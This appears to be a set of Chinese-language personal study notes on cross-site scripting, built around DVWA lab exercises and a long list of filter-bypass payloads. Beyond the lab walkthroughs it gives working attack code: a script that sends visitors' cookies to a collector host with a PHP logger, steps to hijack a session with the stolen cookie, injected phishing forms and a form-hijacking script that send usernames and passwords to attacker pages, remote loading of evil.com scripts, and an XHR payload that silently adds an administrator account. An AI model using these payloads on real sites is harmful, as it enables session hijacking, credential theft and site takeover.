xss專用章節

 

 

 

 

XSS 轉碼  javascript

XSS小助手php

http://web.chacuo.net/charsetjsascii  html

js轉unicode前端

 

 

http://tool.chinaz.com/Tools/native_ascii.aspxjava

ascii/native 編碼互轉web

 

 

 

http://zone.secevery.com/code/ajax

xss編碼轉換(最全)shell

 

 

https://www.toolmao.com/xsstranser數據庫

Xss string.fromCharCode 轉換express

 

 

怎麼去挖掘XSS漏洞

好比說,有一個站點有搜索框,咱們去查找

 

而後去查看源代碼,看它對<>」 有沒有過來,若是有,就想辦法去繞過,若是沒有,就直接構造XSS漏洞

 

 

 

 

javascript 事件和協議

  • onclick ,當鼠標點擊一下時執行一次
  • onmouseover ,當鼠標放上去時執行一次
  • onmouseout ,當鼠標移出去時執行一次
  • onmousedown ,當鼠標按下時執行一次
  • onmouseup ,當鼠標在上面鬆開(彈起)時執行一次
  • onmousedblclick ,當鼠標雙擊時執行一次
  • onload ,當對象加載完成時執行

什麼是僞協議

僞協議不一樣於因特網上所真實存在的協議,如http://,https://,ftp://,

而是爲關聯應用程序而使用的.如:tencent://(關聯QQ),data:(用base64編碼來在瀏覽器端輸出二進制文件),還有就是javascript:

咱們能夠在瀏覽地址欄裏輸入"javascript:alert('JS!');",點轉到後會發現,其實是把javascript:後面的代碼當JavaScript來執行,並將結果值返回給當前頁面。

 

相似,咱們能夠在a標籤的href屬性中使用javascript僞協議

 

 

 

<a href="javascript:alert('JS!');"></a>

//點擊這面的連接,瀏覽器並不會跳轉到任何頁面,而是顯示一個彈窗

javascript:僞協議有個問題,它會將執行結果返回給固然的頁面

<a href="javascript:window.prompt('輸入內容將替換當前頁面!','');">A</a>

 

 

 

 

 

 

Xss

 

xss漏洞發生在web前端,主要對網站用戶形成危害

 

反射型 XSS

經過xss 漏洞改造帶有攻擊腳本的URL ,發送URL給目標,觸發惡意腳本,一次性,所見即所得,通常出如今查詢類頁面

 

 

存儲型XSS

經過XSS漏洞將帶惡意腳本注入到服務器後臺(數據庫或者文件中 ),訪問該頁面觸發惡意腳本,永久性通常出如今留言板等

打開火狐,進入dvwa,級別調成低級別

 

XSS(reflected) 選項裏作實驗

 

 

 

在文本框輸入 JS代碼

 

<script>alert("xss")</script>

 

 

 

 

 

 

彈出了XSS ,證實這個文本框有反射XSS

 

 

打開火狐,進入dvwa,級別調成中級別

 

這時候再用

<script>alert("xss")</script>

 提交,發現          

 

 

並無彈窗 猜想可能過濾的 script 腳本,可是沒有過濾HTML腳本

 

 

 

 

能夠輸入     <scr<script>ipt> alert("kk")</script>

 

 彈窗了,成功繞過了

 

打開火狐,進入dvwa,級別調成高級別

 

 

這是 輸入   <scr<script>ipt> alert("kk")</script>  不行了

返回了一個這個

 

 

如今去查看他的源代碼

 

 

 

最後輸入的是 pre 這個標籤,想辦法取消掉他

 

 

 

   使用這個語法來取消掉

    11</pre> <img src=1  onerror=alert('xss')> <pre> 22

 

  

對文本框輸入, 反射XSS就彈出來了

 

 

 

 

證實有XSS漏洞後能夠

 11</pre> <img src=http://本身帶有XSSpayload的網址> <pre> 22

 

 

 

各個級別的代碼 剖析

 

最低級別 low

<?php

 

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

    // Feedback for end user

    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';

}

 

?>   

 

沒有對輸入作任何的過濾,只是判斷他是否存在

 

 

 

中級別的  medium

 

    <?php

 

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

    // Get input

    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

 

    // Feedback for end user

    echo "<pre>Hello ${name}</pre>";

}

?>

 

判斷他是否存在,而且使用了 str_replace 將輸入的結果中的  <script> 給替換成空,可是僅僅對含有 <script>  的腳本有限制 能夠用 <scr<script>ipt> alert("kk")</script>  來繞過

 

 

 

 

 

 

 

 

高級別的  high

 

 

 <?php

 

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

    // Get input

    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

 

    // Feedback for end user

    echo "<pre>Hello ${name}</pre>";

}

 

?>

 

 

執行了正則的搜索,一旦匹配就幹掉, 可是仍是隻是在 script 這個字符中下了功夫,,可是能夠用別的語法來作xss

 

例如:    11</pre> <img src=1  onerror=alert('xss')> <pre> 22

 

 

 

 

 

 

 

 

 

 

 

 

接下來介紹DOM 類型的xss

 

Dom 型xss 演示和分析  在服務器上對這段代碼測試

 

  <script>

     function test(){

      var str=document.getElementById('text').value;

      document.getElementById('t').innerHTML="<a href=' "+str+"'> testLink</a> ";

 

     }

     

     </script>

 

    <div id="t"></div>

    <input type="text" id="text" value="">

    <input type="button" id="s" value="write" onclick="test()">

 

 

 

而後輸入 'onclick=alert("xss") //       

再去點擊,就會反射個xss

 

 

 不過引號可能會被過濾什麼的,最好輸入

'onclick=alert(/xss/) //

 

 

 

 

 

反射出來的 多加了個 //

 

 

解釋:首先用第一個單引號閉合掉 href 的第一個單引號,而後插入一個onclick 事件,最後再用註釋符 //  註釋掉第二個單引號

 

 

還能夠用另一種方法

 

'> <img src=# onerror=alert("xss2") /> <'

 

點擊肯定

 

頁面的代碼就變成了

   <a href=''> <img src=# onerror=alert(/xss2/) />  <'' >   testLink </a>

 

 

 

 

 

 

 

 

 

如今切換到DVWA,設置成LOW 低級別 -切換到XSS (stored )  帶有XSS漏洞的留言板

 

<script>alert("xss")</script> 複製到留言板

 

 

 

 

能夠看到,這裏在最長這裏設置了10個字符

 

右擊->編輯HTML

 

 

 

 

 

 

 而後提交

 

反射XSS就出來了,

 

 

存儲型XSS漏洞

 

PHP 中stripslashes函數表示:去除字符串中的反斜線字符,若是有兩個連續的反斜線,則只去掉一個;

 

 

如今把DVWA切換到中 級別   中級別的  medium

仍是原來的樣子,繞過前端對字符的限制

輸入 <script>alert("xss")</script>

會發現,並無彈窗,而是

腳本過濾了,可是過濾不嚴格

 

 

能夠用 <scr<script>ipt> alert("xss11111")</script>  來繞過

高級別對script 便籤作了完美的限制,可是對腳本沒有作限制,仍是能夠繞過

<img src=1  onerror=alert('xssend')>

 

仍是彈窗了

 

 

 

 

 

 

 

 

 

實驗: 經過xss 盜取用戶的cookie

 

 

 

 

 

 

 

 

 

接收端寫的代碼

 

 

 

<?php

 

$cookie=$_GET['cookie'];  //已get方式提交獲取cookie

 

$time=date('Y-m-d g:i:s ');   // 已 "年-月-日 分:秒 顯示格式"

 

$referer=getenv('HTTP_REFERER');   //獲取referer

 

$cookietxt=fopen("cookiee.txt", "a+");   //建立而且cookie

 

fwrite($cookietxt, "time:".$time." cookie:".$cookie." referer:".$referer."\r\n"); //寫入到文件

 

fclose($cookietxt);

 

 

 

 

 

?>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

腳本端

 

<script>document.write('<img src="http://192.168.1.61/xss/index.php?cookie='+document.cookie+'" width=0 height=0 border=0 />')</script>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

先測試下, 192.168.1.61站點是否能接受cookie

 

192.168.1.61/xss/index.php?cookie=dwadaw

 

 

而後在 192.168.1.61 的web目錄上就生成了一個cookie

 

 

 

 

 

 

如今確認接收站點正常

 

 

 

 

進入 dvwa 把級別調至低級別 LOW

 

對着輸入框->右擊firebug ->

 

 

 

 

繞過前端的字符限制

 

xss 存儲型的代碼放上去

 

 

 

 

 

提交

 

 

而後 只要別的用戶再去瀏覽這個 留言板,他們的cookie 就會被自動盜取

 

本身模擬一個用戶去登陸

。。。。。。

 

 

 

 

 

而後進入 接收站點查看cookie

 

 

打開火狐

 

使用火狐的firebug

 

 

 

 新建cookie

 

 

 

把剛剛劫持到的cookie 放到這裏

確認

 

而後把cookie 後面的網址也複製下來

 

 

 

 

 

 

 

 

對着火狐地址框輸入 進去,若是直接進去了,就證實成功了

 

 

 

 

 

 

 

 

 

 

直接進來了

 

 

 

 

若是如下不能彈窗,多是瀏覽器版本的問題

 

彈出XSS的方法有不少種

1 利用HTML標籤

2 利用HTML標籤的屬性值來作

例子:

 <img src=1 onerror="alert(/xss/)">

<input type="text" value="烏雲歡迎您"  onclick="alert(/xss/)" />

3  空格回車TAB

若是XSS 過濾僅僅把敏感的輸入字符列入黑名單,如銘感字 javascript 而言,用戶能夠利用空格,回車和TAB繞過限制

 

例如

<img src=」java    script:alert(/xx/)」  widht=100>

注入,java 和script 之間的間隔不是空格鍵,而是TAB鍵添加的,把以上的代碼保存在HTML中,用IE6打開。此時IE 6會彈窗 ,可是在我本身測試的時候沒有彈窗,記住這個思路就行了

 

Var  a=true

Var b=」im 2cto-bnsky」

若是同一行中有多個語句,那麼每一個語句就必須 使用分號來來結束

Var  a=true;b=」im 2cto-bnsky」

 

除了再引號中分割單詞或強制結束語句以外,額外的空白不管已何種方式添加無所謂,下面的代碼,雖然語句中有一個換行符,但變量的賦值徹底成功

 

var  a=」hello word」;

alert(a);

 

引擎沒有把換行符解釋爲語句的終止符,由於到換行符並非一個完整的語句,JavaScript會繼續處理髮現的內容,直到遇到一個分號或發現語句完整爲止, 所以用戶能夠構造下面的代碼形式繞過系統對javascript 等關鍵字的過濾

  <iMg srC=1 ;

   ONerror="alert(/1/)">

使用回車符分割關鍵字(拆分關鍵字)的技巧,還有大小寫,成功執行了跨站腳本代碼

 

4  對標籤屬性值轉碼

此外,對普通HTML標記的屬性值進行過濾,用戶還能夠經過編碼處理來繞過,由於HTML中屬性值自己支持ASCII碼形式

 

<img src=」javascript:alert(‘xss’);」>          //這條語句本身測試的時候是不行的

替換爲

 

 <img src="javascriptt:alert(/xss/)" >

 

 

源代碼是<img src=1 onerror="alert(/s/)"> 通過轉換爲

 <ImG src=1;

     onerRoR=alert(/s/)

 >

 

5  產生本身的事件

如今,假設用戶不能一開屬性值進行跨站,

 

  <input type="button" value="click me " onclick="alert(YES)">

這是HTML代碼中的事件處理程序,運行這段代碼,點擊就觸發彈窗

咱們把事件分爲3個不一樣的類別

用戶接口(鼠標,鍵盤)

邏輯(處理的結果)

變化(對文檔進行的修改)

既然事件能讓javascript代碼運行,就意味着用戶也能利用它執行跨站腳本

 <img src=1  onerror="alert(/xss/)">

測試事件腳本還有不少,

Onmouseover

...

...

..

 

 

 

 

 

 

6  利用CSS跨站剖析

 

例子

<div style="background-image: url("javascript:alert('xss')")"></div>   //這個本身嘗試了不行

 

IE5 以及其後的版本在支持CSS中使用expression,使用Experssion 一樣能夠觸發 XSS漏洞

 <div style="width: expression(alert('sssss'));"></div> //這條能夠

 <div style="color: expression(alert('XSS'))">

 這樣也能夠

 <div style="w: expression(alert('sssss'));"></div>

 

 

IE 7 。IE6 能夠彈窗

 

 

  一個正常的xss 輸入

     <img src=1 onerror="alert(1)" >

 

大小寫混合

 <IMG SRC=1 onerror="alert(1)" >

單引號xss

 <iMg  SRC=1 onerror= 'alert(1)' >

沒有引號的XSS

 <IMG SRC=1 onerror= alert(1)>

 

沒有空格的XSS

  

 <IMG/SRC=1 onerror=alert(1)>

這裏的IMG標記和SRC熟悉沒有空格,而是用/隔開,依然能夠彈窗

 

 

 

<a href="java script:alert(/xss/)">xss</a>

a和s 之間用tab鍵去繞過

 

 

 

   當利用expression執行跨站時,能夠構造不一樣的全角字符來擾亂過濾規則:

 

   <XSS STYLE="xss:expEssion(alert('xss'))">

   <div style="{left:expression(alert('xss'));}"></div>  //這個是正確的XSS代碼,上面意思是擾亂過濾規則

 

 

  <div style="wid/******/th: expr/**javascript***/ession(alert('xss'))"></div>]

利用  /***/ s各類去繞過過濾規則

 

  樣式中的 /**/ 會被瀏覽器忽略,所以能夠運用/**/ 來註釋字符,經過插入混淆字符繞過過濾

     <XSS STYLE="xss:expr/*xss*/ession(alert('xss'))">     //擾亂對方的過濾規則

     <div style="wid/*******/th:expre/*xss*/ssion(alert('xss'))">123123</div>   //xss 彈窗  在IE5,IE7 有效

 

 

Expression 在IE 裏有效,其實就是javascript 的意思

 

若是對方過了了Script 能夠嘗試

<scr<script>ipt>alert("XSS")</scr<script>ipt>

 

 

 

 <a href=javascript:alert(/xss/)>123321</a>  不用引號的XSS

 

 

 

<iframe/src="data:text/html; base64 ,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">

 

 

  <isindex action=j a vas c r ipt:alert(1) type=image>

 

 

 

base64編碼

Data協議使用方法   data:資源類型;編碼,內容

到目前爲止 我遇到使用base64編碼的狀況 大多數是這樣

<a href="可控點">

<iframe src="可控點">

在這種狀況下 若是過濾了<> ' " javascript 的話 那麼要xss能夠這樣寫 而後利用base64編碼!

 

<a href="<script>alert(/sss/)</script>">222222222</a> //源代碼,這樣是不能彈窗的

 

 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=">adwada</a>  //加上base64 編碼就能彈窗    data:text/html;base64,是固定語法

 

 

 

HTML5 新增的實體命名編碼,如

: => [冒號]     => [換行

 

<a href="javascript:alert(1)">click</a>

 

解析器通常將工做分配給兩個組件——詞法分析器(有時也叫分詞器)負責將輸入分解爲合法的符號,解析器則根據語言的語法規則分析文檔結構,從而構建解析樹,詞法分析器知道怎麼跳過空白和換行之類的無關字符。

<a href="javascript:alert(1)">click</a>

首先html編碼被還原出來 而後就成了換行 跟冒號

<a href="javasc

ript:alert(1)">click</a>  

爲何換行後還可以執行 是由於瀏覽器中的解析器中詞法分析器 起的做用會跳過空白跟換行之類的無效字符。換行時必須用單雙號圍住,不然不會跳過。跳過回車和換行,不支持on事件.

而後就構形成了一個完整的語句

<a href="javascript:alert(1)">click</a> 代碼成功執行

 

 

 

 

 

 

 

 

 

字符編碼:

字符編碼在跨站腳本中常常運用到,透過這種技巧,不只能讓XSS代碼繞過服務端的過濾,還能更好的隱藏shellcode

 

 

繞過 magic_quotes_gpc

這個是 PHP裏的一個安全參數

Magic_quotes_gpc=ON  是php中的安全設置,開啓後會把一些特殊字符進行輪換,好比 ‘(單引號)  轉換爲   \'     "(雙引號) 轉換爲   \"          \轉換爲 \\

 

 好比  <script> alert("xss") </script> 會轉換成 <script>alert(\"xss\");</script> 這樣的話咱們的XSS就不生效了

 

 

 針對開啓了magic_quotes_gpc 的網站,咱們能夠經過javascript 中的String.fromCharCode方法來繞過,咱們能夠把 alert("xss") 轉化爲

  String.fromCharCode(97,108,101,114,116,40,34,88,83,83,34,41) 那麼咱們的XSS語句就變成了

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>

String.fromCharCode()是javascript中的字符串方法,用來把ASCII轉換爲字符串。

 

 

能夠嘗試把XSS留在管理員登陸界面,這樣的話就能夠永久劫持它的cookie

 

 繞過長度限制

 <input type="text" value="$var">

 若是服務器端v在變量 $var 上作了長度限制的話,那麼攻擊者可能會構造這樣的XSS

 

 $var 爲  "> <script>alert(/xss/)</script>

      但願達到的輸出效果是:

       <input type="text" value=""><script>alert(/xss/)</script> "

       假設字符長度限制爲20個字節,攻擊就沒法完成,那麼能夠利用事件

       "onclick=alert(1)  //

 

效果就是 <input type="text" value="" onclick="alert(/xss/)  ">

 

 

 

 

挖洞專用彈窗代碼

 

 

script>window.setAttribute('onload',alert('xss')</script>

 

onerror  十六進制的HTML爲

onerror

 

<img src=1 onerror=alert(1);>   不要引號也能彈窗

 

<a href="javascript:alert('xss')">2</a> 點擊彈窗

 

 

 <video src=x      onerror=prompt(1);>  彈窗

 

 

 <div onclick="alert('ss')">12321 </div>    彈窗

不須要 <> /   的彈窗

<script>

eval(`alert(1)`);

</script>

或者

<script>

window.alert("xss")

</script>

 

 

<object data="javascript:alert(1)">

 

<SvG/onlOad=alert(1)>    //最短的一個彈窗

 

 

   <iframe/onload=alert(1)>彈窗

 

 

  <body/onpageshow=alert(1)>   彈窗

 

 

 <? echo('<scr'); echo('ipt>alert(/ss/)</script>');?> 彈窗

 

 

 

<marquee><script>alert(`ss`)</script></marquee> 彈窗

 

 

 

<script>var test=1;alert(test)</script> 彈窗

 

 

 

 

 eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x27\x29")      彈窗    16進制轉碼

 

   

      eval(alert('ss'))       //原始代碼

      eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0060\u0073\u0073\u0060\u0029")  //轉換後  轉換後必須加上雙引號

 

 

 

 

  在某些特定的環境下,能夠利用註釋繞過 長度限制

  <input type="text" id="1" value="">

  <input type="text" id="2" value="">

  在第一個 input 框輸入

    "><!--

    在第二個input框輸入

--> <script>alert(/xss/)</script>

 

 

  最終的效果是

  <input type="text" id="1" value="">  <! --  " />

   xxxxxxxxxx

  <input type="text" id="2" value=""> --> <script>alert(/xss/)</script>

 

中間的代碼所有被   <!---  -->

 

 

 

 

 

 

 

 

 

 

 

 

var search = "可控點";

document.getElementById().innerHTML=search;

以上狀況不少都是出如今你搜索後 而後顯示的 你所查詢的關鍵字

若是過濾了 <> ' " & % 等等這些!而後再輸出到頁面上!

按理說這樣是安全了!可是咱們把輸入的值改爲 js編碼,

咱們改爲 <img src=x onerror=alert(1)> 而後進行js八進制編碼 ==>

\74\151\155\147\40\163\162\143\75\170\40\157\156\145\162\162\157\162\75\141\154\145\162\164\50\61\51\76

而後服務器端接受後 通過過濾器 沒有發現該過濾的就進入到了innerHTML中

通過js的解碼 咱們的代碼又還原回來了 而且注入到了網頁中!這時候代碼執行!成功彈窗!

 

 

 

URL編碼

Javascript:僞協議後面可使用URL編碼。

:<a href="javascript:%61lert(1)">click me</a>可成功執行彈窗

可用img就不行:<img src=1 onerror=」javascript:%61lert(1)」>

由於href屬性會跳轉到其中的URL,而會進行URL解碼.onerror屬性則只會執行JS,不跳轉

同時後面的url編碼能夠再作一次entity(HTML實體)編碼:

<a href="javascript:%61lert(1)">click me</a>

因爲entity編碼容許&#以後插入任意多個0,再利用上javascript的註釋混淆後:

<a href="javascript: //%0a %61lert(1)">click me</a>

 

 

 

 

 

 

繞過防護

過濾了alert(1)的括號,能夠用alert`1`  //反引號

利用js字符串模塊  eval.call`${'\141\154\145\162\164\50\61\51'}`

轉換大小寫<scRiPt>alert(1)<ScRipt>

繞過Php的htmlspecialchars()

Php的htmlspecialchars()默認能將< > & 「轉成< > & "

若是用了htmlspecialchars($name, ENT_QUOTES);   則 ’ 也會被轉成 '

若是用了 htmlspecialchars ($name, ENT_NOQUOTES);則單雙引號都不會被轉換。

Js中可用如下代碼繞過

Javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))

Html中可用如下代碼繞過:

‘ onmouseover=’alert(1)

源代碼是<input type=」text」 value=」」>

變成了<input type=」text」 value=」 ‘onmouseover=’alert(1)」>

這個沒試過,不知道行不行~~~

 

 

 

單引號或者是 ~鍵盤上的反引號  你都試試

 

 

 

2.php源代碼

<?php

$name = $_GET["name"];

$name = htmlspecialchars($name);

?>

<input type='text' value='<?php echo $name?>'>

地址欄輸入http://127.0.0.1/2.php?name=’ onmouseover=’alert(1)後回車

而後將鼠標移到那個框框後, 彈出彈窗.

我本身試了 ,沒彈窗

 

 

Xss釣魚(掛馬):

(1)xss重定向釣魚

如本身建一個釣魚網站www.xiumu.com, 而後受害者訪問以下地址http://www.test.com/a.php?id=」」><script>document.location.href=」http://www.xiumu.com」</script>

或者http://www.test.com/a.php?id=」」><iframe src=」http://www.xiumu.com」 height=0 width=0 ></iframe>

 

 

 

(2)HTML注入式釣魚

直接利用XSS漏洞注射HTML/js 代碼到頁面中.可寫一個正常的HTML表單來竊取帳號密碼.如:http://www.test.com/a.php?id=」」<html><head><title>login</title></head><body><div style=」text-align:center;」><form method=」POST」 action=」xiumu.php」 name=」form」><br/><p>username</p><input type=」text」 value=」」 name=」a」><p>password</p><input type=」password」 name=」b」 value=」」><br/><input type=」submit」 value=」login」></form></body></html>

這樣當用戶直接填入帳號密碼提交後,你就能夠在xiumu.php接收到受害者的帳號密碼了.

Xiumu.php代碼:<?php echo $_POST[‘a’]?><?php echo $_POST[‘b’]?>

(3)Xss跨框架釣魚

這種方式是經過<iframe>嵌入遠程域的一個頁面實施釣魚,http://www.test.com/a.php?id=」」><iframe src=」http://www.xiumu.com」 height=」100%」 width=」100%」></iframe>經過將www.xiumu.com的頁面作的和test的頁面相同(可利用iframe實現),但受害者看到的不是真正的test頁面,而是xiumu頁面.

 

 

 

騰訊微博曾經的XSS漏洞

 

<a href="###" onclick="setTimeout(function(){ UI.remove($('upload_pic_container')) }, 10); MI.talk('分享活動','#x');alert(document.cookie);//#這個活動【xx】挺好玩,你們快來參加吧,地址是http://event.t.qq.com/x', 80, null, function(){window.location.reload()} );">分享</a><span>|

 

 

 

因爲瀏覽器解析頁面的時候會先把'解碼成',從而在onclick的javascript環境下造成單引號閉合,從而當點擊「分享」便可觸發咱們插入的代碼。

 

 

 

 

IE6-IE8,IE9的兼容模式有效的xss,插入以下的代碼,當鼠標點擊test即觸發xss。

 

<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">test</a>

 

貌似只能是a標籤有效

 

 

Xss 的基本概念

  1. XSS的存在,必定是伴隨着輸入,與輸出2個概念的。
  2. 要想過濾掉XSS,你能夠在輸入層面過濾,也能夠在輸出層面過濾。
  3. 若是輸入和輸出都沒過濾。 那麼漏洞將是顯而易見的
  4. 做爲第一個最基礎的例子, 咱們拿出的是一個什麼都沒過濾(其實仍是有些轉義的,主要沒過濾< , >)的例子。 這種例子出如今騰訊這種大網站的機率不是很高。 可是仍是讓我找到了一個。
  5. http://app.data.qq.com/?umod=commentsoutlet&act=count&siteid=3&libid=9&dataid=1480&score=1&func=haoping&_=1353475261886
  6. 對於上面這個例子。咱們能夠看到什麼是輸入,什麼是輸出
  7. . 通過測試,咱們發現,score這個【輸入】參數,沒有進行任何過濾,

    即,輸入是什麼,輸出就是什麼? 通俗點就是「吃什麼,拉什麼」。。

    以下圖

  8.  

 

 

 

 

 

 

  1. 既然能夠直接輸入 < > HTML標籤,接下來的利用也就相對簡單了。

 

 

http://app.data.qq.com/?umod=commentsoutlet&act=count&siteid=3&libid=9&dataid=1480&score=<img src=1 onerror=alert(1);>&func=haoping&_=1353475261886

 

 

 

eval() 也能夠執行10進制形式的文本,可是須要配合String.fromCharCode 函數的使用

string.fromcharcode()用於將字符轉化爲ascii值

 

 

例子

<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>

 

 

 

 

 

 

 

 

   <a href="javascript:alert(/sss/)">sss</a>       //原始代碼。利用僞造協議

 

     10進制編碼之後      

 

 

           <a href="javascript:alert(/sss/)">sss</a>

彈窗

 

 

 

 動態調用遠程javascript

 假設www.bug.com 的某個頁面存在一個含有XSS漏洞 exploit 以下

 

 http://www.bug.com/veiw.php?sort=[exploit]

 

     能夠直接把shellcode 寫到URL參數中

      http://www.bug.com/veiw.php?sort=<script>alert(/xss/)</script>

 

     由於種種限制,因此只需寫一個script標籤引用本身的惡意站點進行動態的加載,這樣的話咱們能夠在咱們的站點寫上任意代碼而後被漏洞站點加載

 

 

 

 除了使用 <script>標籤動態的調用遠程javascript ,還能夠運用基於DOM的方法建立和插入節點,把腳本注入到HTML網頁裏

 

 

 <script>

   var s=document.createELement("script");

   s.src="http://www.baidu.com/1.js";

   document.getElementsByTagName('head')[0].appendChild(s)

  </script>

 

 

 

location.hash 用法

  #alert('xss')" >http://www.bug.comv/vriw.php?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')

 

 

 

substr() 可在字符串中抽取從start下標(這裏是1)開始的制定數目的字符,因此location.hash.substr(1) 的做用是抽取  「#」 符號後面的字符,即 alert(‘xss’) 而 eval() 函數用來計算某字符串,並執行其中的javascript 代碼,經過這種技巧,就能先把shellcode 寫到地址參數再執行,

 

 

 

 

 

一段XSS的payload

某網站同窗留言的貼圖URL輸入框出現過XSS,主要是onload 事件來觸發

在留言的貼圖URL的輸出框裏填寫

editor/uploadfile/2016/2/123123123.gig" onload="var t=document.body.innerHTML;var s=t.indexOf('+++')+3;var e=t.indexOf('---)eval(unescape(t.substring(s,e)))">

 

在留言框內容填寫

 

xss代碼觸發之後,會調用留言內容中的+++和---之間部分代碼,對這段代碼解碼後獲得核心的shellcode以下

 

 

 try{

  var as=document.getElementsByTagName('a');   

  var frm=document.getElementsByTagName('iframe')[0];

  frm.onload=function(){

  var oFrm=document.getElementsByTagName('iframe')[0];   

  oFrm.onload="";

  var oDoc=oFrm.contentWindow.document;

  oDoc.all["who"][1].checked=true;

  oDoc.dealmember.action="backation/updateclassmate.jsp?f=1";

  oDoc.dealmember.submit();

 

  }

  frm.src=as[34].href

 }catch(e){

  alert(e)

 }

        

        大概意思就是 獲取全部的a標籤 獲取第一個iframe,定義一個加載的函數,獲取第一個iframe標籤,設置它的參數,提交到backation/updateclassmate.jsp?f=1這個網頁中,自動提交, iframe 的內容也就是src 和頁面上的某個a標籤的src 是同樣的,就等因而新建了一個iframe框架,裏面的內容就是頁面上的a標籤的內容,而且自動提交。就是頁面跳轉劫持的意思

 

 

 

 

 

 

 

 

cookie 常見屬性

Domain-設置關聯cookie 的域名

Expires-經過給定一個過時時間來建立一個持久化cookie

httponly-用於避免cookie被javascript訪問

name-cookie 的名稱

path-關聯到cookie的路徑,默認爲/

value- 讀寫cookie 的值

secure- 用於指定cookie須要經過安全socket層鏈接傳遞

 

 

 

建立cookie,須要提供cookie 的名字,對應值,過時時間和相關路徑

php設置

<?

setcookie(‘user_id’,123)   //建立一個cookie變量user_id=123

?>

 

刪除cookie

setcookie(‘user_id’,0,time()-1)

 

在瀏覽器輸出

javascript:alert(document.cookie)  就能知道cookie

 

攻擊者能夠經過如下幾種方式獲取cookie

 

 

 

 

 

本身寫一個請求添加帳號密碼的XSS  shellcode, 關於ajax 若是忘了,能夠去看前端的筆記.dox

 

 

請求的URL

/admin/adminuser/admiuser_add.asp

請求的POST數據

username=123456&password=123456=password=123456&purview=..........&submit=.........

 

 

xssshellcode 以下

<script>

var request=false;

if(window.XMLHttpRequest){

request=new XMLHttpRequest();

if(request.overrideMimeType){

request.overrideMimeType('text/xml');

}

}else if(window.ActiveXObject){

var versions=['Microsoft.XMLHTTP','MSXML.XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTP.6.0','Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'];

for(var i=0;i<versions.length;i++){

try{

request=new ActiveXObject(versions[i])

}catch(e){}

}

}

xmlhttp=request

add_admin();

function add_admin(){

var url="/admin/adminuser/admiuser_add.asp";  //請求地址

var params="username=xss&password=123456=password=123456&purview=..........&submit=........."   //提交的數據,也就是修改密碼的數據

xmlhttp.open("POST",url,true);

xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");

xmlhttp.setRequestHeader("Content-length",params.length);

xmlhttp.setRequestHeader("Connection","close");

xmlhttp.send(params);

}

     上述代碼簡單的利用xmlhttp對象發送一個POST請求,因爲該請求上帶上了被攻擊的COOkie 並一同發送到服務端,因此能在後臺悄悄添加一個管理員

 

 

 

 

 

作釣魚網站,而且保存密碼後頁面跳轉

 

<form action="http://192.168.111.102/stong.php" method="post">

 <input type="text" name="user">

 <input type="pass" name="pass">

 <input type="submit">

</form>

 

 

 

 

<?php

$data=fopen("123.txt", "a+");

@$a=$_POST['user'];

@$b=$_POST['pass'];

fwrite($data, $a);

fwrite($data, $b);

header("location:http://www.baidu.com");

 

?>

接受完頁面之後立馬瞬間跳轉到百度

 

 

XSS釣魚欺騙

  攻擊者在XSS頁面插入利用代碼

        http://www.bug.com/index.php?s=<Script src=http://www.evil.com/xss.js></Script>

        當用戶訪問這個連接時,就會動態調用遠程的xss.js的文件,該文件的做用是建立一個iframe框架覆蓋目標頁面,再加載遠程域僞造的釣魚頁面

 

        這裏使用document.body.innerHTML方法插入代碼

 

        document.body.innerHTML=('<div style="position: absolute;top: 0px;left: 0px;width: 100%;height: 100%;">'+'<iframe src=http://www.evil.com/phishing.html  width="100%;" height="100%">'+'</iframe></div>');

   

這樣的效果就是動態的調用了一個本身寫的危害的頁面覆蓋了本來的頁面

 

 

 

 

小補充: forms 集合可返回對文檔中全部 Form 對象的引用。

語法 document.forms[]

 

 

 

 

 

構建XSS  payload 劫持表單和控制web行爲

  <script>

   form=document.froms["userslogin"];

   form.onsubmit=function(){

   var iframe=document.createElement("iframe");

   iframe.style.display="none";

   alert(form.user.value);

   iframe.src="http://127.0.0.1/phishing.php?user="+form.user.values+"$pass="+form.pass.value;

   document.body.appendChild(iframe);

   }

  </script>

  這段代碼用來截取用戶在登陸頁面輸入的用戶名字和密碼信息,而後提交給當前建立的PHP腳本

 

沒試過

 

 

 

 

 

 

 

 

 

 

 

 

 

 

這裏詳細的介紹了ajax

 

     方法

     描述

getALLResponseHeaders()

 把HTTP請求全部相應收不做爲鍵/值對返回

 

 

 

open(method,url,async)

 

規定請求的類型、URL 以及是否異步處理請求。

  • method:請求的類型;GET 或 POST
  • url:文件在服務器上的位置
  • async:true(異步)或 false(同步)

 

 

 send(string)

 

將請求發送到服務器。

  • string:僅用於 POST 請求

 

 

 

setRequestHeader(header,value)

 

向請求添加 HTTP 頭。

  • header: 規定頭的名稱
  • value: 規定頭的值

 

 

 

 

 

 

 

 

 

 

 

 

 

 

XMLHtttpRequest對象的屬性

 

 

  onreadystatechange

  

存儲函數(或函數名),每當 readyState 屬性改變時,就會調用該函數。

readyState

 

存有 XMLHttpRequest 的狀態。從 0 到 4 發生變化。

  • 0: 請求未初始化
  • 1: 服務器鏈接已創建
  • 2: 請求已接收
  • 3: 請求處理中
  • 4: 請求已完成,且響應已就緒

 

responseText

  

 

得到字符串形式的響應數據。

